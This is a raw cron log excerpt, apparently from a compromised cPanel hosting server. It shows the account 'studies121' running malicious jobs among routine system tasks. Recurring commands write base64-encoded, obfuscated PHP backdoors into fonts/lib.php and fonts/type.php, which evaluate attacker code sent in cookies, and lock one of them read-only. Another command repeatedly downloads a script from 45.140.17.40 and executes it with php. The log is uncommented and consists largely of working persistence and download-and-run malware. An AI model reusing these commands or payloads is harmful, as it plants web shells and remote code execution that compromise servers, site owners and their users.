Sep  7 20:08:01 ip-184-168-122-23 CROND[11494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:09:01 ip-184-168-122-23 CROND[11574]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 20:09:01 ip-184-168-122-23 CROND[11577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:09:01 ip-184-168-122-23 CROND[11578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:09:01 ip-184-168-122-23 CROND[11576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:09:01 ip-184-168-122-23 CROND[11579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:10:01 ip-184-168-122-23 CROND[11700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:10:01 ip-184-168-122-23 CROND[11701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:10:01 ip-184-168-122-23 CROND[11702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:10:01 ip-184-168-122-23 CROND[11703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:10:01 ip-184-168-122-23 CROND[11705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:10:01 ip-184-168-122-23 CROND[11704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:10:01 ip-184-168-122-23 CROND[11706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:10:01 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:11:01 ip-184-168-122-23 CROND[11797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:11:01 ip-184-168-122-23 CROND[11798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:11:01 ip-184-168-122-23 CROND[11800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:11:01 ip-184-168-122-23 CROND[11799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:12:01 ip-184-168-122-23 CROND[11982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:12:01 ip-184-168-122-23 CROND[11984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:12:01 ip-184-168-122-23 CROND[11985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:12:01 ip-184-168-122-23 CROND[11987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:12:01 ip-184-168-122-23 CROND[11989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:13:01 ip-184-168-122-23 CROND[12113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:13:01 ip-184-168-122-23 CROND[12112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:13:01 ip-184-168-122-23 CROND[12114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:13:01 ip-184-168-122-23 CROND[12115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:14:01 ip-184-168-122-23 CROND[12228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:14:01 ip-184-168-122-23 CROND[12231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:14:01 ip-184-168-122-23 CROND[12230]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:14:01 ip-184-168-122-23 CROND[12232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:14:01 ip-184-168-122-23 CROND[12229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:15:01 ip-184-168-122-23 CROND[12365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:15:01 ip-184-168-122-23 CROND[12362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:15:01 ip-184-168-122-23 CROND[12364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:15:01 ip-184-168-122-23 CROND[12366]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 20:15:01 ip-184-168-122-23 CROND[12367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:15:01 ip-184-168-122-23 CROND[12363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:15:01 ip-184-168-122-23 CROND[12368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:16:01 ip-184-168-122-23 CROND[12511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:16:01 ip-184-168-122-23 CROND[12512]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:16:01 ip-184-168-122-23 CROND[12516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:16:01 ip-184-168-122-23 CROND[12514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:16:01 ip-184-168-122-23 CROND[12515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:16:01 ip-184-168-122-23 CROND[12513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:17:02 ip-184-168-122-23 CROND[12688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:17:02 ip-184-168-122-23 CROND[12691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:17:02 ip-184-168-122-23 CROND[12690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:17:02 ip-184-168-122-23 CROND[12694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:18:01 ip-184-168-122-23 CROND[12880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:18:01 ip-184-168-122-23 CROND[12882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:18:01 ip-184-168-122-23 CROND[12883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:18:01 ip-184-168-122-23 CROND[12884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:18:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:19:01 ip-184-168-122-23 CROND[12993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:19:01 ip-184-168-122-23 CROND[12994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:19:01 ip-184-168-122-23 CROND[12996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:19:01 ip-184-168-122-23 CROND[12995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:20:01 ip-184-168-122-23 CROND[13116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:20:01 ip-184-168-122-23 CROND[13118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
